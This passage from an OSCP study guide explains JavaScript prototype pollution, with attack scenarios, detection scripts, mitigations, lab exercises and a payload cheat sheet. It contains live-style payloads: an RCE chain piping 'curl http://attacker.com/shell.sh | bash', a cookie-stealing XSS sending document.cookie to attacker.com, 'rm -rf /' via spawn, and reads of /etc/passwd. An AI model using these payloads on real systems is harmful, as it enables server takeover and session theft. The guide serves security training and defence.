Impact XSS, data theft RCE, server compromise
Scope Single user’s browser All users, entire server
Persistence Session-based Process lifetime (or longer if persisted)
Severity High Critical

Server-Side Attack Scenario

// ===== VULNERABLE NODE.JS APPLICATION =====
const express = require('express');
const _ = require('lodash');  // Vulnerable version < 4.17.20
const app = express();

app.use(express.json());

app.post('/api/config', (req, res) => {
    const userConfig = req.body;
    const defaultConfig = { theme: 'light', lang: 'en' };
    
    // Vulnerable merge
    const merged = _.merge(defaultConfig, userConfig);
    
    res.json({ success: true, config: merged });
});

app.listen(3000);

Attack Payload

# Attacker sends this request
curl -X POST http://target.com/api/config \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "isAdmin": true
    }
  }'

# Result: Object.prototype.isAdmin = true on the SERVER
# All subsequent requests see isAdmin = true on all objects

Impact on Server

// After pollution, server-side authorization is bypassed
app.get('/admin', (req, res) => {
    const user = req.user;  // Any user object
    
    if (user.isAdmin) {  // TRUE for ALL users now!
        res.send('Admin panel');  // UNAUTHORIZED ACCESS
    } else {
        res.status(403).send('Forbidden');
    }
});

5.2 Express.js Template Engine Abuse

Template engines can be exploited when prototype pollution affects template rendering.

EJS Template Engine

// ===== VULNERABLE EJS TEMPLATE =====
// views/profile.ejs
<div class="profile">
    <h1><%= user.name %></h1>
    <p>Role: <%= user.role %></p>
    <% if (user.isAdmin) { %>
        <a href="/admin">Admin Panel</a>
    <% } %>
</div>
// ===== SERVER CODE =====
app.get('/profile', (req, res) => {
    const user = { name: req.query.name, email: req.query.email };
    res.render('profile', { user });
});

// ===== ATTACK =====
// Step 1: Pollute via another endpoint
// POST /api/config with { "__proto__": { "isAdmin": true } }

// Step 2: Access profile page
// GET /profile?name=Alice
// Template renders with user.isAdmin = true (from pollution)
// → Admin link appears for non-admin user

Jade/Pug Template Engine

// ===== VULNERABLE PUG TEMPLATE =====
// views/profile.pug
.profile
    h1= user.name
    p Role: #{user.role}
    if user.isAdmin
        a(href="/admin") Admin Panel

Template Injection via Pollution

// More dangerous: pollute a property used in template evaluation
Object.prototype.template = '<%- "alert(1)" %>';

// If template engine evaluates this:
// <%= user.template %>
// → Executes: <%- "alert(1)" %> → RCE in template context!

5.3 Child Process Exploitation

The most severe server-side impact: using prototype pollution to execute arbitrary system commands.

Via child_process.exec

// ===== VULNERABLE APPLICATION =====
const { exec } = require('child_process');

app.post('/api/run', (req, res) => {
    const cmd = req.body.command;
    
    // Dangerous: executing user-controlled command
    exec(cmd, (error, stdout, stderr) => {
        res.json({ output: stdout });
    });
});

// ===== ATTACK VIA POLLUTION =====
// Step 1: Pollute a property that gets used in command construction
Object.prototype.command = 'cat /etc/passwd';

// Step 2: If app does:
exec(config.command, callback);  // config.command = 'cat /etc/passwd'
// → System command executed!

Via child_process.spawn

const { spawn } = require('child_process');

// Vulnerable: using polluted property as command
Object.prototype.executable = 'rm';
Object.prototype.args = ['-rf', '/'];

// If app does:
spawn(config.executable, config.args);
// → spawn('rm', ['-rf', '/']) → DISASTER!

Realistic RCE Chain

// ===== COMPLETE RCE CHAIN =====

// Step 1: Prototype pollution via API
// POST /api/preferences
{
    "__proto__": {
        "shellCmd": "curl http://attacker.com/shell.sh | bash"
    }
}

// Step 2: Server-side code uses polluted property
function runMaintenance() {
    const config = { task: "cleanup" };
    
    // App reads command from config (which inherits from polluted prototype)
    const cmd = config.shellCmd || 'echo "No command"';
    
    // Executes the polluted command
    exec(cmd, (err, stdout) => {
        console.log(stdout);
    });
    // → curl http://attacker.com/shell.sh | bash
    // → Remote code execution!
}

Detection on Server

// Monitor Object.prototype on server startup
const originalProtoKeys = new Set(Object.keys(Object.prototype));

// Health check endpoint
app.get('/health/prototype', (req, res) => {
    const currentKeys = new Set(Object.keys(Object.prototype));
    const polluted = [];
    
    for (const key of currentKeys) {
        if (!originalProtoKeys.has(key)) {
            polluted.push({
                key,
                value: Object.prototype[key],
                type: typeof Object.prototype[key]
            });
        }
    }
    
    if (polluted.length > 0) {
        console.error('PROTOTYPE POLLUTION DETECTED:', polluted);
        res.status(500).json({ 
            status: 'COMPROMISED', 
            polluted 
        });
    } else {
        res.json({ status: 'OK' });
    }
});

6. Detection Methodology

6.1 Checking for Polluted Properties

Manual Detection

// Check 1: Look for unexpected properties on empty objects
const test = {};
console.log(test.isAdmin);       // Should be undefined
console.log(test.role);          // Should be undefined
console.log(test.__proto__);     // Should be Object.prototype

// Check 2: Compare with fresh prototype
const freshProto = Object.create(null);
const pollutedKeys = Object.keys(Object.prototype);
console.log('Prototype keys:', pollutedKeys);
// Normal: [] (empty, as Object.prototype has no enumerable own properties)
// Polluted: ["isAdmin", "role", ...]

// Check 3: Check specific dangerous properties
const dangerousProps = ['isAdmin', 'role', 'permissions', 'auth', 'token'];
for (const prop of dangerousProps) {
    if (prop in {}) {
        console.warn(`DANGEROUS: ${prop} found on Object.prototype`);
    }
}

Automated Detection Script

// prototype-pollution-detector.js
class PrototypePollutionDetector {
    constructor() {
        this.originalProtoKeys = new Set(Object.keys(Object.prototype));
        this.originalArrayProtoKeys = new Set(Object.keys(Array.prototype));
        this.alerts = [];
    }
    
    check() {
        const results = {
            objectPrototype: this.checkObjectPrototype(),
            arrayPrototype: this.checkArrayPrototype(),
            stringPrototype: this.checkStringPrototype(),
            summary: {}
        };
        
        results.summary.totalPolluted = 
            results.objectPrototype.polluted.length +
            results.arrayPrototype.polluted.length +
            results.stringPrototype.polluted.length;
        
        results.summary.isCompromised = results.summary.totalPolluted > 0;
        
        return results;
    }
    
    checkObjectPrototype() {
        const currentKeys = new Set(Object.keys(Object.prototype));
        const polluted = [];
        
        for (const key of currentKeys) {
            if (!this.originalProtoKeys.has(key)) {
                polluted.push({
                    key,
                    value: Object.prototype[key],
                    type: typeof Object.prototype[key]
                });
            }
        }
        
        return { polluted, count: polluted.length };
    }
    
    checkArrayPrototype() {
        const currentKeys = new Set(Object.keys(Array.prototype));
        const polluted = [];
        
        for (const key of currentKeys) {
            if (!this.originalArrayProtoKeys.has(key)) {
                polluted.push({
                    key,
                    value: Array.prototype[key],
                    type: typeof Array.prototype[key]
                });
            }
        }
        
        return { polluted, count: polluted.length };
    }
    
    checkStringPrototype() {
        const originalStringKeys = new Set(Object.keys(String.prototype));
        const currentKeys = new Set(Object.keys(String.prototype));
        const polluted = [];
        
        for (const key of currentKeys) {
            if (!originalStringKeys.has(key)) {
                polluted.push({
                    key,
                    value: String.prototype[key],
                    type: typeof String.prototype[key]
                });
            }
        }
        
        return { polluted, count: polluted.length };
    }
    
    alert() {
        const results = this.check();
        
        if (results.summary.isCompromised) {
            console.error('═══════════════════════════════════════════');
            console.error('⚠️  PROTOTYPE POLLUTION DETECTED!');
            console.error('═══════════════════════════════════════════');
            console.error(`Total polluted properties: ${results.summary.totalPolluted}`);
            
            if (results.objectPrototype.count > 0) {
                console.error('\nObject.prototype polluted properties:');
                results.objectPrototype.polluted.forEach(p => {
                    console.error(`  - ${p.key}: ${p.value} (${p.type})`);
                });
            }
            
            if (results.arrayPrototype.count > 0) {
                console.error('\nArray.prototype polluted properties:');
                results.arrayPrototype.polluted.forEach(p => {
                    console.error(`  - ${p.key}: ${p.value} (${p.type})`);
                });
            }
            
            return true;
        }
        
        console.log('✓ Prototype integrity check passed');
        return false;
    }
}

// Usage
const detector = new PrototypePollutionDetector();
detector.alert();

6.2 Common Pollution Targets

High-Value Targets

Target Property Impact Example Attack
isAdmin Authorization bypass Grant admin access to any user
role Role-based access bypass Change user role to admin
permissions Permission escalation Grant all permissions
auth Authentication bypass Set auth to true
token Token injection Inject authentication token
toString XSS via string conversion Inject scripts during rendering
valueOf XSS via value conversion Inject scripts in forms
join XSS via array joining Inject scripts in list rendering
constructor Code execution Modify object creation
__proto__ Further pollution Chain additional pollution

Detection Targets by Context

// Client-side detection targets
const clientTargets = [
    'isAdmin', 'role', 'permissions', 'auth', 'token',
    'toString', 'valueOf', 'constructor', '__proto__',
    'innerHTML', 'outerHTML', 'textContent'
];

// Server-side detection targets
const serverTargets = [
    'isAdmin', 'role', 'permissions', 'auth', 'token',
    'command', 'exec', 'shell', 'script',
    'template', 'render', 'compile'
];

// Check all targets
function checkAllTargets(targets) {
    const findings = [];
    
    for (const target of targets) {
        if (target in {}) {
            findings.push({
                property: target,
                value: Object.prototype[target],
                severity: 'HIGH'
            });
        }
    }
    
    return findings;
}

6.3 Automated Detection Scripts

Browser Console Detection

// Paste this in browser console to check for pollution
(function() {
    console.log('=== Prototype Pollution Check ===');
    
    const checks = [
        { name: 'Object.prototype', proto: Object.prototype },
        { name: 'Array.prototype', proto: Array.prototype },
        { name: 'String.prototype', proto: String.prototype },
        { name: 'Number.prototype', proto: Number.prototype },
    ];
    
    let totalPolluted = 0;
    
    checks.forEach(check => {
        const keys = Object.keys(check.proto);
        const suspicious = keys.filter(k => {
            // Filter out known safe properties
            const safe = ['constructor', 'toString', 'valueOf', 'hasOwnProperty', 
                         'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString'];
            return !safe.includes(k);
        });
        
        if (suspicious.length > 0) {
            console.warn(`⚠️  ${check.name} has ${suspicious.length} suspicious properties:`);
            suspicious.forEach(k => {
                console.warn(`   - ${k}: ${check.proto[k]}`);
            });
            totalPolluted += suspicious.length;
        } else {
            console.log(`✓ ${check.name} is clean`);
        }
    });
    
    if (totalPolluted > 0) {
        console.error(`\n🚨 TOTAL POLLUTED PROPERTIES: ${totalPolluted}`);
        console.error('The prototype has been polluted!');
    } else {
        console.log('\n✓ All prototypes are clean');
    }
})();

Burp Suite / OWASP ZAP Detection

# Python script for automated prototype pollution testing
import requests
import json

def test_prototype_pollution(url, method="POST", headers=None):
    """Test for prototype pollution vulnerability"""
    
    if headers is None:
        headers = {"Content-Type": "application/json"}
    
    # Test payloads
    payloads = [
        # __proto__ payloads
        {"__proto__": {"isAdmin": True}},
        {"__proto__": {"role": "admin"}},
        {"__proto__": {"toString": "() => { return '<script>alert(1)</script>'; }"}},
        
        # constructor.prototype payloads
        {"constructor": {"prototype": {"isAdmin": True}}},
        
        # Nested payloads
        {"a": {"__proto__": {"isAdmin": True}}},
    ]
    
    results = []
    
    for i, payload in enumerate(payloads):
        try:
            response = requests.request(
                method, 
                url, 
                json=payload, 
                headers=headers,
                timeout=10
            )
            
            result = {
                "payload_index": i,
                "payload": payload,
                "status_code": response.status_code,
                "response_length": len(response.text),
            }
            
            # Check response for signs of pollution
            if "isAdmin" in response.text or "admin" in response.text:
                result["suspicious"] = True
                result["reason"] = "Response contains admin-related content"
            
            results.append(result)
            
        except requests.exceptions.RequestException as e:
            results.append({
                "payload_index": i,
                "payload": payload,
                "error": str(e)
            })
    
    return results

# Usage
results = test_prototype_pollution("http://target.com/api/config")
for r in results:
    if r.get("suspicious"):
        print(f"⚠️  SUSPICIOUS: {r}")

Node.js Server Detection Middleware

// Express middleware for prototype pollution detection
function prototypePollutionDetector(req, res, next) {
    // Check request body for pollution attempts
    if (req.body && typeof req.body === 'object') {
        const dangerousKeys = ['__proto__', 'constructor', 'prototype'];
        
        function checkObject(obj, path = '') {
            if (obj === null || typeof obj !== 'object') return false;
            
            for (const key of Object.keys(obj)) {
                const currentPath = path ? `${path}.${key}` : key;
                
                if (dangerousKeys.includes(key)) {
                    console.warn(`Prototype pollution attempt detected: ${currentPath}`);
                    console.warn(`Request: ${req.method} ${req.url}`);
                    console.warn(`Body:`, JSON.stringify(req.body, null, 2));
                    return true;
                }
                
                if (checkObject(obj[key], currentPath)) {
                    return true;
                }
            }
            return false;
        }
        
        if (checkObject(req.body)) {
            res.status(400).json({
                error: 'Invalid request',
                message: 'Request contains invalid properties'
            });
            return;
        }
    }
    
    next();
}

// Use in Express app
app.use(prototypePollutionDetector);

7. Mitigation Strategies

7.1 Object.freeze(Object.prototype)

The most effective single-line mitigation: freeze the prototype to prevent any modifications.

How It Works

// Freeze Object.prototype
Object.freeze(Object.prototype);

// Now any attempt to modify it fails
Object.prototype.isAdmin = true;       // Silent failure
console.log({}.isAdmin);               // undefined ← SAFE

// In strict mode, it throws an error
'use strict';
Object.freeze(Object.prototype);
Object.prototype.isAdmin = true;       // TypeError: Cannot add property isAdmin

Freezing All Built-in Prototypes

// Freeze all common built-in prototypes
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(String.prototype);
Object.freeze(Number.prototype);
Object.freeze(Boolean.prototype);
Object.freeze(Function.prototype);
Object.freeze(Date.prototype);
Object.freeze(RegExp.prototype);
Object.freeze(Error.prototype);
Object.freeze(Promise.prototype);
Object.freeze(Map.prototype);
Object.freeze(Set.prototype);

// Verify
console.log(Object.isFrozen(Object.prototype));  // true

Limitations

// Limitation 1: Must be done early
// If pollution happens before freeze, it's too late
Object.prototype.isAdmin = true;  // Pollution first
Object.freeze(Object.prototype);  // Freeze after — too late!
console.log({}.isAdmin);          // true ← Still polluted

// Limitation 2: Doesn't prevent pollution of other prototypes
Object.freeze(Object.prototype);
Array.prototype.hacked = true;    // Still possible if Array.prototype not frozen
console.log([].hacked);           // true

// Limitation 3: Can break legitimate code that extends prototypes
String.prototype.customMethod = function() { /* ... */ };  // Will fail if frozen

Best Practice

// Place at the VERY BEGINNING of your application
// Before any other code runs

// app.js or index.js
'use strict';

// === SECURITY: Freeze prototypes ===
const prototypesToFreeze = [
    Object.prototype,
    Array.prototype,
    String.prototype,
    Number.prototype,
    Boolean.prototype,
    Function.prototype,
    Date.prototype,
    RegExp.prototype,
    Error.prototype,
];

prototypesToFreeze.forEach(proto => {
    Object.freeze(proto);
});

// === Rest of application ===
const express = require('express');
// ...

7.2 Object.create(null)

Create objects without a prototype, making them immune to prototype pollution.

How It Works

// Normal object — has prototype chain
const normal = {};
console.log(normal.__proto__);           // Object.prototype
console.log(normal.toString);            // function toString() { [native code] }

// Null prototype object — NO prototype chain
const safe = Object.create(null);
console.log(safe.__proto__);             // undefined (no prototype!)
console.log(safe.toString);              // undefined (no inherited methods)

// Cannot be polluted via prototype
Object.prototype.isAdmin = true;
console.log(normal.isAdmin);             // true ← POLLUTED
console.log(safe.isAdmin);               // undefined ← SAFE (no prototype)

Use Cases

// Use case 1: Safe configuration objects
const config = Object.create(null);
config.theme = 'dark';
config.lang = 'en';

// Even if Object.prototype is polluted, config is safe
Object.prototype.theme = 'hacked';
console.log(config.theme);  // 'dark' ← own property, not polluted

// Use case 2: Safe dictionaries/maps
const userRoles = Object.create(null);
userRoles['alice'] = 'admin';
userRoles['bob'] = 'user';

// No risk of 'hasOwnProperty' or other prototype properties interfering
console.log(userRoles['hasOwnProperty']);  // undefined ← safe

// Use case 3: Safe merge targets
function safeMerge(target, source) {
    // Create null-prototype target
    const result = Object.create(null);
    
    for (const key of Object.keys(source)) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue;  // Skip dangerous keys
        }
        result[key] = source[key];
    }
    
    return result;
}

Limitations

// Limitation 1: No inherited methods
const safe = Object.create(null);
safe.toString();        // TypeError: safe.toString is not a function
safe.hasOwnProperty();  // TypeError: safe.hasOwnProperty is not a function

// Workaround: Use Object methods directly
Object.prototype.toString.call(safe);        // '[object Object]'
Object.prototype.hasOwnProperty.call(safe, 'key');  // false

// Limitation 2: JSON.stringify still works
const safe = Object.create(null);
safe.name = 'Alice';
console.log(JSON.stringify(safe));  // '{"name":"Alice"}' ← works fine

// Limitation 3: Some libraries may not handle null-prototype objects
// Test with your specific libraries

7.3 Schema Validation

Validate input against a schema to reject unexpected properties.

Using Joi

const Joi = require('joi');

// Define schema
const configSchema = Joi.object({
    theme: Joi.string().valid('light', 'dark').default('light'),
    language: Joi.string().valid('en', 'fr', 'de').default('en'),
    fontSize: Joi.number().min(8).max(72).default(14),
});

// Validate input
function validateConfig(input) {
    const { value, error } = configSchema.validate(input, {
        abortEarly: false,      // Return all errors
        stripUnknown: true,     // Remove unknown properties
    });
    
    if (error) {
        console.error('Validation failed:', error.details);
        throw new Error('Invalid configuration');
    }
    
    return value;  // Clean, validated config
}

// Usage
const userInput = {
    theme: 'dark',
    language: 'en',
    '__proto__': { isAdmin: true },  // Will be stripped
    'unknownProp': 'value',          // Will be stripped
};

const cleanConfig = validateConfig(userInput);
console.log(cleanConfig);
// { theme: 'dark', language: 'en', fontSize: 14 }
// __proto__ and unknownProp are gone!

Using JSON Schema

const { validate } = require('jsonschema');

const schema = {
    type: 'object',
    properties: {
        theme: { type: 'string', enum: ['light', 'dark'] },
        language: { type: 'string', enum: ['en', 'fr', 'de'] },
    },
    additionalProperties: false,  // Reject unknown properties
    required: ['theme', 'language'],
};

function validateInput(input) {
    const validation = validate(input, schema);
    
    if (!validation.valid) {
        console.error('Validation errors:', validation.errors);
        throw new Error('Invalid input');
    }
    
    return input;
}

Custom Schema Validator

function schemaValidator(schema) {
    return function validate(input) {
        if (typeof input !== 'object' || input === null) {
            throw new Error('Input must be an object');
        }
        
        const result = {};
        const dangerousKeys = ['__proto__', 'constructor', 'prototype'];
        
        for (const [key, value] of Object.entries(input)) {
            // Block dangerous keys
            if (dangerousKeys.includes(key)) {
                console.warn(`Blocked dangerous key: ${key}`);
                continue;
            }
            
            // Check against schema
            if (key in schema) {
                const rule = schema[key];
                
                if (rule.type && typeof value !== rule.type) {
                    console.warn(`Type mismatch for ${key}: expected ${rule.type}, got ${typeof value}`);
                    continue;
                }
                
                if (rule.enum && !rule.enum.includes(value)) {
                    console.warn(`Invalid value for ${key}: ${value}`);
                    continue;
                }
                
                result[key] = value;
            } else if (!schema.allowUnknown) {
                console.warn(`Unknown property: ${key}`);
            } else {
                result[key] = value;
            }
        }
        
        return result;
    };
}

// Usage
const validator = schemaValidator({
    theme: { type: 'string', enum: ['light', 'dark'] },
    language: { type: 'string' },
    allowUnknown: false,
});

const clean = validator({
    theme: 'dark',
    '__proto__': { isAdmin: true },
    unknown: 'value',
});
// clean = { theme: 'dark' }

7.4 Safe Merge Implementations

Replace vulnerable merge functions with safe implementations.

Safe Deep Merge

function safeDeepMerge(target, source) {
    const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
    
    if (!isObject(target) || !isObject(source)) {
        return source;
    }
    
    const result = Array.isArray(target) ? [...target] : { ...target };
    
    for (const [key, value] of Object.entries(source)) {
        // Block dangerous keys
        if (DANGEROUS_KEYS.has(key)) {
            console.warn(`Blocked dangerous key in merge: ${key}`);
            continue;
        }
        
        if (isObject(value) && isObject(result[key])) {
            // Recursive safe merge
            result[key] = safeDeepMerge(result[key], value);
        } else {
            result[key] = value;
        }
    }
    
    return result;
}

function isObject(obj) {
    return obj !== null && typeof obj === 'object';
}

// Usage
const target = { a: { b: 1 } };
const source = { a: { c: 2 }, '__proto__': { isAdmin: true } };

const merged = safeDeepMerge(target, source);
console.log(merged);
// { a: { b: 1, c: 2 } }
// __proto__ was blocked!

console.log({}.isAdmin);  // undefined ← SAFE

Safe Shallow Merge

function safeMerge(target, source) {
    const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
    const result = { ...target };
    
    for (const [key, value] of Object.entries(source)) {
        if (!DANGEROUS_KEYS.has(key)) {
            result[key] = value;
        }
    }
    
    return result;
}

Using Object.assign Safely

// Object.assign is shallow, so it's safer than deep merge
// But still block dangerous keys

function safeAssign(target, ...sources) {
    const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
    const result = { ...target };
    
    for (const source of sources) {
        for (const [key, value] of Object.entries(source)) {
            if (!DANGEROUS_KEYS.has(key)) {
                result[key] = value;
            }
        }
    }
    
    return result;
}

7.5 Property Checks for __proto__

Sanitize input by checking for and removing dangerous properties.

Input Sanitization Function

function sanitizeInput(obj) {
    if (obj === null || obj === undefined) {
        return obj;
    }
    
    if (typeof obj !== 'object') {
        return obj;
    }
    
    const DANGEROUS_KEYS = new Set([
        '__proto__',
        'constructor',
        'prototype',
    ]);
    
    // Handle arrays
    if (Array.isArray(obj)) {
        return obj.map(item => sanitizeInput(item));
    }
    
    // Handle objects
    const sanitized = Object.create(null);  // Null prototype
    
    for (const [key, value] of Object.entries(obj)) {
        if (DANGEROUS_KEYS.has(key)) {
            console.warn(`Sanitized dangerous key: ${key}`);
            continue;
        }
        
        sanitized[key] = sanitizeInput(value);  // Recursive
    }
    
    return sanitized;
}

// Usage
const dirty = {
    theme: 'dark',
    '__proto__': { isAdmin: true },
    'constructor': { prototype: { role: 'admin' } },
    nested: {
        value: 'ok',
        '__proto__': { hacked: true },
    },
};

const clean = sanitizeInput(dirty);
console.log(clean);
// { theme: 'dark', nested: { value: 'ok' } }

Express Middleware for Sanitization

function sanitizeBodyMiddleware(req, res, next) {
    if (req.body && typeof req.body === 'object') {
        req.body = sanitizeInput(req.body);
    }
    next();
}

app.use(express.json());
app.use(sanitizeBodyMiddleware);

7.6 Library Updates

Keep libraries updated to patched versions.

Vulnerable Libraries and Fixed Versions

Library Vulnerable Versions Fixed Version CVE
Lodash < 4.17.20 >= 4.17.20 CVE-2020-28500
Lodash < 4.17.12 >= 4.17.12 CVE-2019-10744
jQuery < 3.4.0 >= 3.4.0 N/A
Hoek < 5.0.3 >= 5.0.3 CVE-2018-3721
rmdir < 1.1.1 >= 1.1.1 CVE-2019-14525
dset < 3.1.2 >= 3.1.2 CVE-2022-21681
minimist < 1.2.6 >= 1.2.6 CVE-2021-44906
node-extend < 2.0.2 >= 2.0.2 CVE-2022-0235

Checking for Vulnerable Dependencies

# Using npm audit
npm audit

# Using npm outdated
npm outdated

# Check specific package
npm list lodash
npm list jquery

# Using Snyk
npx snyk test

# Using OWASP Dependency-Check
npx owasp-dependency-check --scan .

package.json Recommendations

{
  "dependencies": {
    "lodash": ">=4.17.21",
    "jquery": ">=3.7.1",
    "express": ">=4.18.2"
  },
  "overrides": {
    "lodash": ">=4.17.21"
  }
}

8. OSCP-Specific Tips and Lab Scenarios

OSCP Exam Relevance

Prototype pollution is a client-side attack technique that appears in the OSCP exam context. While not as common as XSS or CSRF, understanding prototype pollution helps you:

  1. Identify JavaScript vulnerabilities in web applications
  2. Chain attacks from pollution to XSS to session hijacking
  3. Exploit Node.js applications for server-side impact
  4. Bypass authorization checks in JavaScript-heavy apps

Common Lab Scenarios

Scenario 1: Client-Side Authorization Bypass

Lab Setup:
- Web application with client-side role checking
- User preferences stored via JavaScript object merge
- Admin panel accessible if user.isAdmin === true

Attack Steps:
1. Find the preference update endpoint
2. Send payload: {"__proto__": {"isAdmin": true}}
3. Refresh page — admin panel now accessible
4. Access admin functionality
// Lab application code (typical)
function loadUserPrefs() {
    fetch('/api/prefs')
        .then(r => r.json())
        .then(prefs => {
            Object.assign(userConfig, prefs);
        });
}

function checkAccess() {
    if (userConfig.isAdmin) {
        document.getElementById('admin-panel').style.display = 'block';
    }
}

// Attack
fetch('/api/prefs', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({"__proto__": {"isAdmin": true}})
});

Scenario 2: XSS via Prototype Pollution

Lab Setup:
- Application renders user data using template concatenation
- User profile objects are converted to strings
- No output encoding

Attack Steps:
1. Pollute Object.prototype.toString
2. Trigger string conversion of any object
3. XSS payload executes in victim's browser
4. Steal cookies or perform actions as victim
// Attack payload
const payload = {
    "__proto__": {
        "toString": "() => { return '\"><script>document.location=\'http://attacker.com/?c=\'+document.cookie</script><span class=\'"; }"
    }
};

// Send to vulnerable endpoint
fetch('/api/update', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(payload)
});

Scenario 3: Server-Side RCE

Lab Setup:
- Node.js backend with lodash < 4.17.20
- Configuration merge endpoint
- Server executes commands based on config

Attack Steps:
1. Identify vulnerable lodash version
2. Send prototype pollution payload
3. Pollute a property used in command execution
4. Achieve RCE on the server
# Check lodash version
curl http://target.com/package.json | grep lodash

# Send pollution payload
curl -X POST http://target.com/api/config \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shellCmd": "id"}}'

# Trigger command execution
curl http://target.com/api/maintenance

OSCP Tips

Tip 1: Look for Merge Functions

When you find a web application:
1. Search for merge, extend, assign in JavaScript code
2. Check for lodash.merge, $.extend, Object.assign
3. Look for user-controlled input being merged into objects
4. Test with __proto__ payloads

Tip 2: Check Library Versions

In the browser console:
- _.VERSION (for lodash)
- $.fn.jquery (for jQuery)

In package.json:
- grep for lodash, jquery, hoek, dset
- Check if versions are vulnerable

Tip 3: Chain to Impact

Prototype pollution alone is not the goal. Chain to:
1. Authorization bypass → Access admin panel
2. XSS → Steal session cookies
3. RCE → Get shell on server
4. DoS → Break application functionality

Tip 4: Use Burp Suite

1. Intercept requests to merge endpoints
2. Repeater: Test __proto__ payloads
3. Intruder: Automate payload testing
4. Compare responses for signs of pollution

Tip 5: Common Payloads to Try

// Payload 1: Basic admin bypass
{"__proto__": {"isAdmin": true}}

// Payload 2: Role escalation
{"__proto__": {"role": "admin"}}

// Payload 3: Authentication bypass
{"__proto__": {"auth": true}}

// Payload 4: XSS via toString
{"__proto__": {"toString": "() => { return '<script>alert(1)</script>'; }"}}

// Payload 5: Constructor-based
{"constructor": {"prototype": {"isAdmin": true}}}

// Payload 6: Nested
{"a": {"__proto__": {"isAdmin": true}}}

Practice Exercises

Exercise 1: Find the Vulnerability

Given this code, identify the prototype pollution vulnerability:

function updateUserSettings(userId, settings) {
    const user = db.getUser(userId);
    const defaults = { theme: 'light', notifications: true };
    
    const merged = _.merge(defaults, settings);
    user.settings = merged;
    db.saveUser(user);
}

Answer: _.merge is vulnerable if lodash < 4.17.20.
Attacker can send: {"__proto__": {"isAdmin": true}}

Exercise 2: Exploit the Vulnerability

Given this vulnerable application:

app.post('/api/config', (req, res) => {
    const config = req.body;
    app.locals.config = {...app.locals.config, ...config};
    res.json({ success: true });
});

app.get('/admin', (req, res) => {
    if (req.user.isAdmin) {
        res.send('Admin Panel');
    } else {
        res.status(403).send('Forbidden');
    }
});

Write the exploit:

1. POST /api/config with {"__proto__": {"isAdmin": true}}
2. GET /admin — now returns "Admin Panel" for any user

Exercise 3: Mitigate the Vulnerability

Fix this vulnerable code:

function mergeConfig(defaults, userConfig) {
    return _.merge(defaults, userConfig);
}

Fixed version:

function mergeConfig(defaults, userConfig) {
    // Option 1: Update lodash to >= 4.17.20
    
    // Option 2: Sanitize input
    const sanitized = sanitizeObject(userConfig);
    return _.merge(defaults, sanitized);
    
    // Option 3: Use safe merge
    return safeDeepMerge(defaults, userConfig);
}

9. Quick Reference Cheat Sheet

Pollution Vectors Summary

Vector Payload Works When
__proto__ {"__proto__": {"isAdmin": true}} Merge/assign into object
constructor.prototype {"constructor": {"prototype": {"isAdmin": true}}} Merge into object with constructor
Object.prototype Direct assignment Code execution available
Lodash merge {"__proto__": {"isAdmin": true}} lodash < 4.17.20
jQuery extend {"__proto__": {"isAdmin": true}} jQuery < 3.4.0, deep=true

XSS Chains Summary

Pollution Target Trigger Impact
toString Object + string concatenation XSS in rendered output
valueOf Object in numeric/string context XSS in forms, URLs
Array.prototype.join Array.join() call XSS in list rendering
constructor Object creation Code execution

Mitigation Summary

Method Effectiveness Ease Notes
Object.freeze() ★★★★★ Easy Best single-line fix
Object.create(null) ★★★★★ Medium No prototype chain
Schema validation ★★★★☆ Medium Catches at input
Safe merge ★★★★☆ Medium Replace vulnerable functions
Input sanitization ★★★☆☆ Easy Block dangerous keys
Library updates ★★★★★ Easy Keep deps updated

Quick Detection Commands

// Browser console
console.log({}.isAdmin);  // undefined = safe, true = polluted

// Check all prototypes
console.log(Object.keys(Object.prototype));  // Should be empty

// Check for specific pollution
console.log('isAdmin' in {});  // false = safe, true = polluted

Common Payloads

// Admin bypass
{"__proto__": {"isAdmin": true}}

// Role escalation
{"__proto__": {"role": "admin"}}

// Auth bypass
{"__proto__": {"auth": true}}

// XSS
{"__proto__": {"toString": "() => { return '<script>alert(1)</script>'; }"}}

// Constructor-based
{"constructor": {"prototype": {"isAdmin": true}}}

10. References and Further Reading

Official Resources

Vulnerability Reports

Tools

Research Papers

OSCP-Specific Resources


This study note was prepared for OSCP exam preparation. Always practice ethical hacking principles and only test systems you have explicit authorization to assess.